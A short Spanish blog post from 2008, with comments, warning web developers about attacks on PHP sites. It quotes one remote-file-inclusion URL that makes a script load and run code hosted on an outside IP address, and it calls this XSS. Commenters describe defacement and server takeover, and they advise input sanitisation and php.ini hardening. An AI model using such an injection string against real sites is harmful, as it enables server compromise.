Limpiando entradas de datos de usuario en OsCommerce »
« Ayuda con cadenas de texto

XSS : Ataques spam mediante scripts PHP en una url

Escrito el 02/June/2008 por juan_belon

He recibido más ataques en los dominios de los que soy responsable,…esta vez usando un ataque de esta forma

index.php?com=http://207.234.200.112/css/style/style.txt?contacto

intentan colar un script para subir ficheros…dentro de una variable…

tenedlo en cuenta, parsear bien las entradas! $_GET, $_POST, etc. ;)

Hacking

Seguir las respuestas con el canal RSS 2.0 para ello. Puedes dejar un comentario, o trackback copiar a tu sitio.


3 Conversaciones to “XSS : Ataques spam mediante scripts PHP en una url”

  1. pabloko on August 25th, 2008 at 5:30

    Hola tios,

  2. pabloko on August 25th, 2008 at 5:36

    Hola tios, el defacing es un problema muy extendido, cuando se logra ejcutar un programa hay muchos archivos por ahi para tener acceso total ftp, sql, incluso shell access o posibilidad de infectar con troyanos el server para controlarlo (suelen sr perl aunqu los scripts suelen ser php) tambien he encontrado casos que usaban un script para enviar spam, lo sueln enmascarar poniendo codigo en archivos y poniendo en los msj cosas de phpbb para despistar, un rollo, aconsejo cambiar el php.ini para no permitir accesos externos o mimar la programacion, una vez dentro te suelen ponr en todas las paginas una lista de enlaces que putea tu web y te jod en google. si os pasa hay un post donde explico como eliminar toda esa mierda.

    Caña a zenphp juan!

    un saludo

  3. juan_belon on September 3rd, 2008 at 12:43

    Caña caña…en zenphp evito lo que suele pasar…que es encontrarse con código mal escrito por parte de otro programador, que toma por evidente que un servidor usará magic quotes por ejemplo, y esa es su estrategia para evitar SQL Injection…aaaaihiii XD
    asi no se puede trabajar
    jajaja

Para decir algo pulsa aquí

Debes de acceder para poder comentar.